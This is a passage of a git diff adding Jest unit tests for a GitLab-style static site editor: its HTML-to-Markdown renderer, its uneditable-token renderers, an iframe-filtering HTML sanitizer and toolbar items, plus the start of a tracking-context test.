+ ${oneLevelNestedList} | ${2} | ${'\n * List item 1\n * List item 2'}
+ ${oneLevelNestedList} | ${3} | ${'\n * List item 1\n * List item 2'}
+ ${oneLevelNestedList} | ${6} | ${'\n * List item 1\n * List item 2'}
+ ${twoLevelNestedList} | ${4} | ${'\n * List item 1\n * List item 2'}
+ ${spaceInContentList} | ${1} | ${'\n * List item 1\n * List item 2'}
+ `('changes the list indentation to $indentSpaces spaces', ({ list, indentSpaces, result }) => {
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer, {
+ subListIndentSpaces: indentSpaces,
+ });
+
+ baseRenderer.convert.mockReturnValueOnce(list);
+
+ expect(htmlToMarkdownRenderer['LI OL, LI UL'](fakeNode, list)).toBe(result);
+ expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, list);
+ });
+ });
+
+ describe('UL LI visitor', () => {
+ it.each`
+ listItem | unorderedListBulletChar | result | bulletChar
+ ${'* list item'} | ${undefined} | ${'- list item'} | ${'default'}
+ ${' - list item'} | ${'*'} | ${' * list item'} | ${'*'}
+ ${' * list item'} | ${'-'} | ${' - list item'} | ${'-'}
+ `(
+ 'uses $bulletChar bullet char in unordered list items when $unorderedListBulletChar is set in config',
+ ({ listItem, unorderedListBulletChar, result }) => {
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer, {
+ unorderedListBulletChar,
+ });
+ baseRenderer.convert.mockReturnValueOnce(listItem);
+
+ expect(htmlToMarkdownRenderer['UL LI'](fakeNode, listItem)).toBe(result);
+ expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, listItem);
+ },
+ );
+
+ it('detects attribute definitions and attaches them to the list item', () => {
+ const listItem = '- list item';
+ const result = `${listItem}\n${attributeDefinition}\n`;
+
+ fakeNode.dataset.attributeDefinition = attributeDefinition;
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
+ baseRenderer.convert.mockReturnValueOnce(`${listItem}\n`);
+
+ expect(htmlToMarkdownRenderer['UL LI'](fakeNode, listItem)).toBe(result);
+ });
+ });
+
+ describe('OL LI visitor', () => {
+ it.each`
+ listItem | result | incrementListMarker | action
+ ${'2. list item'} | ${'1. list item'} | ${false} | ${'increments'}
+ ${' 3. list item'} | ${' 1. list item'} | ${false} | ${'increments'}
+ ${' 123. list item'} | ${' 1. list item'} | ${false} | ${'increments'}
+ ${'3. list item'} | ${'3. list item'} | ${true} | ${'does not increment'}
+ `(
+ '$action a list item counter when incrementListMaker is $incrementListMarker',
+ ({ listItem, result, incrementListMarker }) => {
+ const subContent = null;
+
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer, {
+ incrementListMarker,
+ });
+ baseRenderer.convert.mockReturnValueOnce(listItem);
+
+ expect(htmlToMarkdownRenderer['OL LI'](fakeNode, subContent)).toBe(result);
+ expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, subContent);
+ },
+ );
+ });
+
+ describe('STRONG, B visitor', () => {
+ it.each`
+ input | strongCharacter | result
+ ${'**strong text**'} | ${'_'} | ${'__strong text__'}
+ ${'__strong text__'} | ${'*'} | ${'**strong text**'}
+ `(
+ 'converts $input to $result when strong character is $strongCharacter',
+ ({ input, strongCharacter, result }) => {
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer, {
+ strong: strongCharacter,
+ });
+
+ baseRenderer.convert.mockReturnValueOnce(input);
+
+ expect(htmlToMarkdownRenderer['STRONG, B'](fakeNode, input)).toBe(result);
+ expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, input);
+ },
+ );
+ });
+
+ describe('EM, I visitor', () => {
+ it.each`
+ input | emphasisCharacter | result
+ ${'*strong text*'} | ${'_'} | ${'_strong text_'}
+ ${'_strong text_'} | ${'*'} | ${'*strong text*'}
+ `(
+ 'converts $input to $result when emphasis character is $emphasisCharacter',
+ ({ input, emphasisCharacter, result }) => {
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer, {
+ emphasis: emphasisCharacter,
+ });
+
+ baseRenderer.convert.mockReturnValueOnce(input);
+
+ expect(htmlToMarkdownRenderer['EM, I'](fakeNode, input)).toBe(result);
+ expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, input);
+ },
+ );
+ });
+
+ describe('H1, H2, H3, H4, H5, H6 visitor', () => {
+ it('detects attribute definitions and attaches them to the heading', () => {
+ const heading = 'heading text';
+ const result = `${heading.trimRight()}\n${attributeDefinition}\n\n`;
+
+ fakeNode.dataset.attributeDefinition = attributeDefinition;
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
+ baseRenderer.convert.mockReturnValueOnce(`${heading}\n\n`);
+
+ expect(htmlToMarkdownRenderer['H1, H2, H3, H4, H5, H6'](fakeNode, heading)).toBe(result);
+ });
+ });
+
+ describe('PRE CODE', () => {
+ let node;
+ const subContent = 'sub content';
+ const originalConverterResult = 'base result';
+
+ beforeEach(() => {
+ node = document.createElement('PRE');
+
+ node.innerText = 'reference definition content';
+ node.dataset.sseReferenceDefinition = true;
+
+ baseRenderer.convert.mockReturnValueOnce(originalConverterResult);
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
+ });
+
+ it('returns raw text when pre node has sse-reference-definitions class', () => {
+ expect(htmlToMarkdownRenderer['PRE CODE'](node, subContent)).toBe(
+ `\n\n${node.innerText}\n\n`,
+ );
+ });
+
+ it('returns base result when pre node does not have sse-reference-definitions class', () => {
+ delete node.dataset.sseReferenceDefinition;
+
+ expect(htmlToMarkdownRenderer['PRE CODE'](node, subContent)).toBe(originalConverterResult);
+ });
+ });
+
+ describe('IMG', () => {
+ const originalSrc = 'path/to/image.png';
+ const alt = 'alt text';
+ let node;
+
+ beforeEach(() => {
+ node = document.createElement('img');
+ node.alt = alt;
+ node.src = originalSrc;
+ });
+
+ it('returns an image with its original src of the `original-src` attribute is preset', () => {
+ node.dataset.originalSrc = originalSrc;
+ node.src = 'modified/path/to/image.png';
+
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
+
+ expect(htmlToMarkdownRenderer.IMG(node)).toBe(`![${alt}](${originalSrc})`);
+ });
+
+ it('fallback to `src` if no `original-src` is specified on the image', () => {
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
+ expect(htmlToMarkdownRenderer.IMG(node)).toBe(`![${alt}](${originalSrc})`);
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token_spec.js
new file mode 100644
index 00000000000..ef3ff052cb2
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token_spec.js
@@ -0,0 +1,88 @@
+import {
+ buildTextToken,
+ buildUneditableOpenTokens,
+ buildUneditableCloseToken,
+ buildUneditableCloseTokens,
+ buildUneditableBlockTokens,
+ buildUneditableInlineTokens,
+ buildUneditableHtmlAsTextTokens,
+} from '~/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token';
+
+import {
+ originInlineToken,
+ originToken,
+ uneditableOpenTokens,
+ uneditableCloseToken,
+ uneditableCloseTokens,
+ uneditableBlockTokens,
+ uneditableInlineTokens,
+ uneditableTokens,
+} from './mock_data';
+
+describe('Build Uneditable Token renderer helper', () => {
+ describe('buildTextToken', () => {
+ it('returns an object literal representing a text token', () => {
+ const text = originToken.content;
+ expect(buildTextToken(text)).toStrictEqual(originToken);
+ });
+ });
+
+ describe('buildUneditableOpenTokens', () => {
+ it('returns a 2-item array of tokens with the originToken appended to an open token', () => {
+ const result = buildUneditableOpenTokens(originToken);
+
+ expect(result).toHaveLength(2);
+ expect(result).toStrictEqual(uneditableOpenTokens);
+ });
+ });
+
+ describe('buildUneditableCloseToken', () => {
+ it('returns an object literal representing the uneditable close token', () => {
+ expect(buildUneditableCloseToken()).toStrictEqual(uneditableCloseToken);
+ });
+ });
+
+ describe('buildUneditableCloseTokens', () => {
+ it('returns a 2-item array of tokens with the originToken prepended to a close token', () => {
+ const result = buildUneditableCloseTokens(originToken);
+
+ expect(result).toHaveLength(2);
+ expect(result).toStrictEqual(uneditableCloseTokens);
+ });
+ });
+
+ describe('buildUneditableBlockTokens', () => {
+ it('returns a 3-item array of tokens with the originToken wrapped in the middle of block tokens', () => {
+ const result = buildUneditableBlockTokens(originToken);
+
+ expect(result).toHaveLength(3);
+ expect(result).toStrictEqual(uneditableTokens);
+ });
+ });
+
+ describe('buildUneditableInlineTokens', () => {
+ it('returns a 3-item array of tokens with the originInlineToken wrapped in the middle of inline tokens', () => {
+ const result = buildUneditableInlineTokens(originInlineToken);
+
+ expect(result).toHaveLength(3);
+ expect(result).toStrictEqual(uneditableInlineTokens);
+ });
+ });
+
+ describe('buildUneditableHtmlAsTextTokens', () => {
+ it('returns a 3-item array of tokens with the htmlBlockNode wrapped as a text token in the middle of block tokens', () => {
+ const htmlBlockNode = {
+ type: 'htmlBlock',
+ literal: '<div data-tomark-pass ><h1>Some header</h1><p>Some paragraph</p></div>',
+ };
+ const result = buildUneditableHtmlAsTextTokens(htmlBlockNode);
+ const { type, content } = result[1];
+
+ expect(type).toBe('text');
+ expect(content).not.toMatch(/ data-tomark-pass /);
+
+ expect(result).toHaveLength(3);
+ expect(result).toStrictEqual(uneditableBlockTokens);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/mock_data.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/mock_data.js
index 407072fb596..407072fb596 100644
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/mock_data.js
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/mock_data.js
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_attribute_definition_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_attribute_definition_spec.js
new file mode 100644
index 00000000000..6d96dd3bbca
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_attribute_definition_spec.js
@@ -0,0 +1,25 @@
+import renderer from '~/static_site_editor/rich_content_editor/services/renderers/render_attribute_definition';
+import { attributeDefinition } from './mock_data';
+
+describe('rich_content_editor/renderers/render_attribute_definition', () => {
+ describe('canRender', () => {
+ it.each`
+ input | result
+ ${{ literal: attributeDefinition }} | ${true}
+ ${{ literal: `FOO${attributeDefinition}` }} | ${false}
+ ${{ literal: `${attributeDefinition}BAR` }} | ${false}
+ ${{ literal: 'foobar' }} | ${false}
+ `('returns $result when input is $input', ({ input, result }) => {
+ expect(renderer.canRender(input)).toBe(result);
+ });
+ });
+
+ describe('render', () => {
+ it('returns an empty HTML comment', () => {
+ expect(renderer.render()).toEqual({
+ type: 'html',
+ content: '<!-- sse-attribute-definition -->',
+ });
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_embedded_ruby_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_embedded_ruby_spec.js
new file mode 100644
index 00000000000..29e2b5b3b16
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_embedded_ruby_spec.js
@@ -0,0 +1,24 @@
+import renderer from '~/static_site_editor/rich_content_editor/services/renderers/render_embedded_ruby_text';
+import { renderUneditableLeaf } from '~/static_site_editor/rich_content_editor/services/renderers/render_utils';
+
+import { buildMockTextNode, normalTextNode } from './mock_data';
+
+const embeddedRubyTextNode = buildMockTextNode('<%= partial("some/path") %>');
+
+describe('Render Embedded Ruby Text renderer', () => {
+ describe('canRender', () => {
+ it('should return true when the argument `literal` has embedded ruby syntax', () => {
+ expect(renderer.canRender(embeddedRubyTextNode)).toBe(true);
+ });
+
+ it('should return false when the argument `literal` lacks embedded ruby syntax', () => {
+ expect(renderer.canRender(normalTextNode)).toBe(false);
+ });
+ });
+
+ describe('render', () => {
+ it('should delegate rendering to the renderUneditableLeaf util', () => {
+ expect(renderer.render).toBe(renderUneditableLeaf);
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_font_awesome_html_inline_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_font_awesome_html_inline_spec.js
new file mode 100644
index 00000000000..0fda847b688
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_font_awesome_html_inline_spec.js
@@ -0,0 +1,33 @@
+import { buildUneditableInlineTokens } from '~/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token';
+import renderer from '~/static_site_editor/rich_content_editor/services/renderers/render_font_awesome_html_inline';
+
+import { normalTextNode } from './mock_data';
+
+const fontAwesomeInlineHtmlNode = {
+ firstChild: null,
+ literal: '<i class="far fa-paper-plane" id="biz-tech-icons">',
+ type: 'html',
+};
+
+describe('Render Font Awesome Inline HTML renderer', () => {
+ describe('canRender', () => {
+ it('should return true when the argument `literal` has font awesome inline html syntax', () => {
+ expect(renderer.canRender(fontAwesomeInlineHtmlNode)).toBe(true);
+ });
+
+ it('should return false when the argument `literal` lacks font awesome inline html syntax', () => {
+ expect(renderer.canRender(normalTextNode)).toBe(false);
+ });
+ });
+
+ describe('render', () => {
+ it('should return uneditable inline tokens', () => {
+ const token = { type: 'text', tagName: null, content: fontAwesomeInlineHtmlNode.literal };
+ const context = { origin: () => token };
+
+ expect(renderer.render(fontAwesomeInlineHtmlNode, context)).toStrictEqual(
+ buildUneditableInlineTokens(token),
+ );
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_heading_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_heading_spec.js
new file mode 100644
index 00000000000..cf4a90885df
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_heading_spec.js
@@ -0,0 +1,12 @@
+import renderer from '~/static_site_editor/rich_content_editor/services/renderers/render_heading';
+import * as renderUtils from '~/static_site_editor/rich_content_editor/services/renderers/render_utils';
+
+describe('rich_content_editor/renderers/render_heading', () => {
+ it('canRender delegates to renderUtils.willAlwaysRender', () => {
+ expect(renderer.canRender).toBe(renderUtils.willAlwaysRender);
+ });
+
+ it('render delegates to renderUtils.renderWithAttributeDefinitions', () => {
+ expect(renderer.render).toBe(renderUtils.renderWithAttributeDefinitions);
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_html_block_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_html_block_spec.js
new file mode 100644
index 00000000000..9c937ac22f4
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_html_block_spec.js
@@ -0,0 +1,37 @@
+import { buildUneditableHtmlAsTextTokens } from '~/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token';
+import renderer from '~/static_site_editor/rich_content_editor/services/renderers/render_html_block';
+
+describe('rich_content_editor/services/renderers/render_html_block', () => {
+ const htmlBlockNode = {
+ literal: '<div><h1>Heading</h1><p>Paragraph.</p></div>',
+ type: 'htmlBlock',
+ };
+
+ describe('canRender', () => {
+ it.each`
+ input | result
+ ${htmlBlockNode} | ${true}
+ ${{ literal: '<iframe></iframe>', type: 'htmlBlock' }} | ${true}
+ ${{ literal: '<iframe src="https://www.youtube.com"></iframe>', type: 'htmlBlock' }} | ${false}
+ ${{ literal: '<iframe></iframe>', type: 'text' }} | ${false}
+ `('returns $result when input=$input', ({ input, result }) => {
+ expect(renderer.canRender(input)).toBe(result);
+ });
+ });
+
+ describe('render', () => {
+ const htmlBlockNodeToMark = {
+ firstChild: null,
+ literal: '<div data-to-mark ></div>',
+ type: 'htmlBlock',
+ };
+
+ it.each`
+ node
+ ${htmlBlockNode}
+ ${htmlBlockNodeToMark}
+ `('should return uneditable tokens wrapping the $node as a token', ({ node }) => {
+ expect(renderer.render(node)).toStrictEqual(buildUneditableHtmlAsTextTokens(node));
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_identifier_instance_text_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_identifier_instance_text_spec.js
new file mode 100644
index 00000000000..15fb2c3a430
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_identifier_instance_text_spec.js
@@ -0,0 +1,55 @@
+import { buildUneditableInlineTokens } from '~/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token';
+import renderer from '~/static_site_editor/rich_content_editor/services/renderers/render_identifier_instance_text';
+
+import { buildMockTextNode, normalTextNode } from './mock_data';
+
+const mockTextStart = 'Majority example ';
+const mockTextMiddle = '[environment terraform plans][terraform]';
+const mockTextEnd = '.';
+const identifierInstanceStartTextNode = buildMockTextNode(mockTextStart);
+const identifierInstanceEndTextNode = buildMockTextNode(mockTextEnd);
+
+describe('Render Identifier Instance Text renderer', () => {
+ describe('canRender', () => {
+ it.each`
+ node | target
+ ${normalTextNode} | ${false}
+ ${identifierInstanceStartTextNode} | ${false}
+ ${identifierInstanceEndTextNode} | ${false}
+ ${buildMockTextNode(mockTextMiddle)} | ${true}
+ ${buildMockTextNode('Minority example [environment terraform plans][]')} | ${true}
+ ${buildMockTextNode('Minority example [environment terraform plans]')} | ${true}
+ `(
+ 'should return $target when the $node validates against identifier instance syntax',
+ ({ node, target }) => {
+ expect(renderer.canRender(node)).toBe(target);
+ },
+ );
+ });
+
+ describe('render', () => {
+ it.each`
+ start | middle | end
+ ${mockTextStart} | ${mockTextMiddle} | ${mockTextEnd}
+ ${mockTextStart} | ${'[environment terraform plans][]'} | ${mockTextEnd}
+ ${mockTextStart} | ${'[environment terraform plans]'} | ${mockTextEnd}
+ `(
+ 'should return inline editable, uneditable, and editable tokens in sequence',
+ ({ start, middle, end }) => {
+ const buildMockTextToken = (content) => ({ type: 'text', tagName: null, content });
+
+ const startToken = buildMockTextToken(start);
+ const middleToken = buildMockTextToken(middle);
+ const endToken = buildMockTextToken(end);
+
+ const content = `${start}${middle}${end}`;
+ const contentToken = buildMockTextToken(content);
+ const contentNode = buildMockTextNode(content);
+ const context = { origin: jest.fn().mockReturnValueOnce(contentToken) };
+ expect(renderer.render(contentNode, context)).toStrictEqual(
+ [startToken, buildUneditableInlineTokens(middleToken), endToken].flat(),
+ );
+ },
+ );
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js
new file mode 100644
index 00000000000..6a2b89a8dcf
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js
@@ -0,0 +1,84 @@
+import renderer from '~/static_site_editor/rich_content_editor/services/renderers/render_identifier_paragraph';
+
+import { buildMockTextNode } from './mock_data';
+
+const buildMockParagraphNode = (literal) => {
+ return {
+ firstChild: buildMockTextNode(literal),
+ type: 'paragraph',
+ };
+};
+
+const normalParagraphNode = buildMockParagraphNode(
+ 'This is just normal paragraph. It has multiple sentences.',
+);
+const identifierParagraphNode = buildMockParagraphNode(
+ `[another-identifier]: https://example.com "This example has a title" [identifier]: http://example1.com [this link]: http://example2.com`,
+);
+
+describe('rich_content_editor/renderers_render_identifier_paragraph', () => {
+ describe('canRender', () => {
+ it.each`
+ node | paragraph | target
+ ${identifierParagraphNode} | ${'[Some text]: https://link.com'} | ${true}
+ ${normalParagraphNode} | ${'Normal non-identifier text. Another sentence.'} | ${false}
+ `(
+ 'should return $target when the $node matches $paragraph syntax',
+ ({ node, paragraph, target }) => {
+ const context = {
+ entering: true,
+ getChildrenText: jest.fn().mockReturnValueOnce(paragraph),
+ };
+
+ expect(renderer.canRender(node, context)).toBe(target);
+ },
+ );
+ });
+
+ describe('render', () => {
+ let context;
+ let result;
+
+ beforeEach(() => {
+ const node = {
+ firstChild: {
+ type: 'text',
+ literal: '[Some text]: https://link.com',
+ next: {
+ type: 'linebreak',
+ next: {
+ type: 'text',
+ literal: '[identifier]: http://example1.com "title"',
+ },
+ },
+ },
+ };
+ context = { skipChildren: jest.fn() };
+ result = renderer.render(node, context);
+ });
+
+ it('renders the reference definitions as a code block', () => {
+ expect(result).toEqual([
+ {
+ type: 'openTag',
+ tagName: 'pre',
+ classNames: ['code-block', 'language-markdown'],
+ attributes: {
+ 'data-sse-reference-definition': true,
+ },
+ },
+ { type: 'openTag', tagName: 'code' },
+ {
+ type: 'text',
+ content: '[Some text]: https://link.com\n[identifier]: http://example1.com "title"',
+ },
+ { type: 'closeTag', tagName: 'code' },
+ { type: 'closeTag', tagName: 'pre' },
+ ]);
+ });
+
+ it('skips the reference definition node children from rendering', () => {
+ expect(context.skipChildren).toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_list_item_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_list_item_spec.js
new file mode 100644
index 00000000000..1e8e62b9dd2
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_list_item_spec.js
@@ -0,0 +1,12 @@
+import renderer from '~/static_site_editor/rich_content_editor/services/renderers/render_list_item';
+import * as renderUtils from '~/static_site_editor/rich_content_editor/services/renderers/render_utils';
+
+describe('rich_content_editor/renderers/render_list_item', () => {
+ it('canRender delegates to renderUtils.willAlwaysRender', () => {
+ expect(renderer.canRender).toBe(renderUtils.willAlwaysRender);
+ });
+
+ it('render delegates to renderUtils.renderWithAttributeDefinitions', () => {
+ expect(renderer.render).toBe(renderUtils.renderWithAttributeDefinitions);
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_softbreak_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_softbreak_spec.js
new file mode 100644
index 00000000000..d8d1e6ff295
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_softbreak_spec.js
@@ -0,0 +1,23 @@
+import renderer from '~/static_site_editor/rich_content_editor/services/renderers/render_softbreak';
+
+describe('Render softbreak renderer', () => {
+ describe('canRender', () => {
+ it.each`
+ node | parentType | result
+ ${{ parent: { type: 'emph' } }} | ${'emph'} | ${true}
+ ${{ parent: { type: 'strong' } }} | ${'strong'} | ${true}
+ ${{ parent: { type: 'paragraph' } }} | ${'paragraph'} | ${false}
+ `('returns $result when node parent type is $parentType ', ({ node, result }) => {
+ expect(renderer.canRender(node)).toBe(result);
+ });
+ });
+
+ describe('render', () => {
+ it('returns text node with a break line', () => {
+ expect(renderer.render()).toEqual({
+ type: 'text',
+ content: ' ',
+ });
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_utils_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_utils_spec.js
new file mode 100644
index 00000000000..49b8936a9f7
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_utils_spec.js
@@ -0,0 +1,109 @@
+import {
+ buildUneditableBlockTokens,
+ buildUneditableOpenTokens,
+} from '~/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token';
+import {
+ renderUneditableLeaf,
+ renderUneditableBranch,
+ renderWithAttributeDefinitions,
+ willAlwaysRender,
+} from '~/static_site_editor/rich_content_editor/services/renderers/render_utils';
+
+import { originToken, uneditableCloseToken, attributeDefinition } from './mock_data';
+
+describe('rich_content_editor/renderers/render_utils', () => {
+ describe('renderUneditableLeaf', () => {
+ it('should return uneditable block tokens around an origin token', () => {
+ const context = { origin: jest.fn().mockReturnValueOnce(originToken) };
+ const result = renderUneditableLeaf({}, context);
+
+ expect(result).toStrictEqual(buildUneditableBlockTokens(originToken));
+ });
+ });
+
+ describe('renderUneditableBranch', () => {
+ let origin;
+
+ beforeEach(() => {
+ origin = jest.fn().mockReturnValueOnce(originToken);
+ });
+
+ it('should return uneditable block open token followed by the origin token when entering', () => {
+ const context = { entering: true, origin };
+ const result = renderUneditableBranch({}, context);
+
+ expect(result).toStrictEqual(buildUneditableOpenTokens(originToken));
+ });
+
+ it('should return uneditable block closing token when exiting', () => {
+ const context = { entering: false, origin };
+ const result = renderUneditableBranch({}, context);
+
+ expect(result).toStrictEqual(uneditableCloseToken);
+ });
+ });
+
+ describe('willAlwaysRender', () => {
+ it('always returns true', () => {
+ expect(willAlwaysRender()).toBe(true);
+ });
+ });
+
+ describe('renderWithAttributeDefinitions', () => {
+ let openTagToken;
+ let closeTagToken;
+ let node;
+ const attributes = {
+ 'data-attribute-definition': attributeDefinition,
+ };
+
+ beforeEach(() => {
+ openTagToken = { type: 'openTag' };
+ closeTagToken = { type: 'closeTag' };
+ node = {
+ next: {
+ firstChild: {
+ literal: attributeDefinition,
+ },
+ },
+ };
+ });
+
+ describe('when token type is openTag', () => {
+ it('attaches attributes when attributes exist in the node’s next sibling', () => {
+ const context = { origin: () => openTagToken };
+
+ expect(renderWithAttributeDefinitions(node, context)).toEqual({
+ ...openTagToken,
+ attributes,
+ });
+ });
+
+ it('attaches attributes when attributes exist in the node’s children', () => {
+ const context = { origin: () => openTagToken };
+ node = {
+ firstChild: {
+ firstChild: {
+ next: {
+ next: {
+ literal: attributeDefinition,
+ },
+ },
+ },
+ },
+ };
+
+ expect(renderWithAttributeDefinitions(node, context)).toEqual({
+ ...openTagToken,
+ attributes,
+ });
+ });
+ });
+
+ it('does not attach attributes when token type is "closeTag"', () => {
+ const context = { origin: () => closeTagToken };
+
+ expect(renderWithAttributeDefinitions({}, context)).toBe(closeTagToken);
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/sanitize_html_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/sanitize_html_spec.js
new file mode 100644
index 00000000000..2f2d3beb53d
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/sanitize_html_spec.js
@@ -0,0 +1,11 @@
+import sanitizeHTML from '~/static_site_editor/rich_content_editor/services/sanitize_html';
+
+describe('rich_content_editor/services/sanitize_html', () => {
+ it.each`
+ input | result
+ ${'<iframe src="https://www.youtube.com"></iframe>'} | ${'<iframe src="https://www.youtube.com"></iframe>'}
+ ${'<iframe src="https://gitlab.com"></iframe>'} | ${''}
+ `('removes iframes if the iframe source origin is not allowed', ({ input, result }) => {
+ expect(sanitizeHTML(input)).toBe(result);
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/toolbar_item_spec.js b/spec/frontend/static_site_editor/rich_content_editor/toolbar_item_spec.js
new file mode 100644
index 00000000000..c9dcf9cfe2e
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/toolbar_item_spec.js
@@ -0,0 +1,57 @@
+import { GlIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import ToolbarItem from '~/static_site_editor/rich_content_editor/toolbar_item.vue';
+
+describe('Toolbar Item', () => {
+ let wrapper;
+
+ const findIcon = () => wrapper.find(GlIcon);
+ const findButton = () => wrapper.find('button');
+
+ const buildWrapper = (propsData) => {
+ wrapper = shallowMount(ToolbarItem, {
+ propsData,
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ describe.each`
+ icon | tooltip
+ ${'heading'} | ${'Headings'}
+ ${'bold'} | ${'Add bold text'}
+ ${'italic'} | ${'Add italic text'}
+ ${'strikethrough'} | ${'Add strikethrough text'}
+ ${'quote'} | ${'Insert a quote'}
+ ${'link'} | ${'Add a link'}
+ ${'doc-code'} | ${'Insert a code block'}
+ ${'list-bulleted'} | ${'Add a bullet list'}
+ ${'list-numbered'} | ${'Add a numbered list'}
+ ${'list-task'} | ${'Add a task list'}
+ ${'list-indent'} | ${'Indent'}
+ ${'list-outdent'} | ${'Outdent'}
+ ${'dash'} | ${'Add a line'}
+ ${'table'} | ${'Add a table'}
+ ${'code'} | ${'Insert an image'}
+ ${'code'} | ${'Insert inline code'}
+ `('toolbar item component', ({ icon, tooltip }) => {
+ beforeEach(() => buildWrapper({ icon, tooltip }));
+
+ it('renders a toolbar button', () => {
+ expect(findButton().exists()).toBe(true);
+ });
+
+ it('renders the correct tooltip', () => {
+ const buttonTooltip = getBinding(wrapper.element, 'gl-tooltip');
+ expect(buttonTooltip).toBeDefined();
+ expect(buttonTooltip.value.title).toBe(tooltip);
+ });
+
+ it(`renders the ${icon} icon`, () => {
+ expect(findIcon().exists()).toBe(true);
+ expect(findIcon().props().name).toBe(icon);
+ });
+ });
+});
diff --git a/spec/frontend/tracking/get_standard_context_spec.js b/spec/frontend/tracking/get_standard_context_spec.js
new file mode 100644
index 00000000000..b7bdc56b801
--- /dev/null
+++ b/spec/frontend/tracking/get_standard_context_spec.js
@@ -0,0 +1,53 @@
+import { SNOWPLOW_JS_SOURCE } from '~/tracking/constants';
+import getStandardContext from '~/tracking/get_standard_context';
+
+describe('~/tracking/get_standard_context', () => {
+ beforeEach(() => {
+ window.gl = window.gl || {};
+ window.gl.snowplowStandardContext = {};
+ });
+
+ it('returns default object if called without server context', () => {
+ expect(getStandardContext()).toStrictEqual({
+ schema: undefined,
+ data: {
+ source: SNOWPLOW_JS_SOURCE,
+ extra: {},
+ },
+ });
+ });
+
+ it('returns filled object if called with server context', () => {
+ window.gl.snowplowStandardContext = {
+ schema: 'iglu:com.gitlab/gitlab_standard',
+ data: {
+ environment: 'testing',
+ },
+ };
+
+ expect(getStandardContext()).toStrictEqual({
+ schema: 'iglu:com.gitlab/gitlab_standard',
+ data: {
+ environment: 'testing',
+ source: SNOWPLOW_JS_SOURCE,
+ extra: {},
+ },
+ });
+ });
+
+ it('always overrides `source` property', () => {
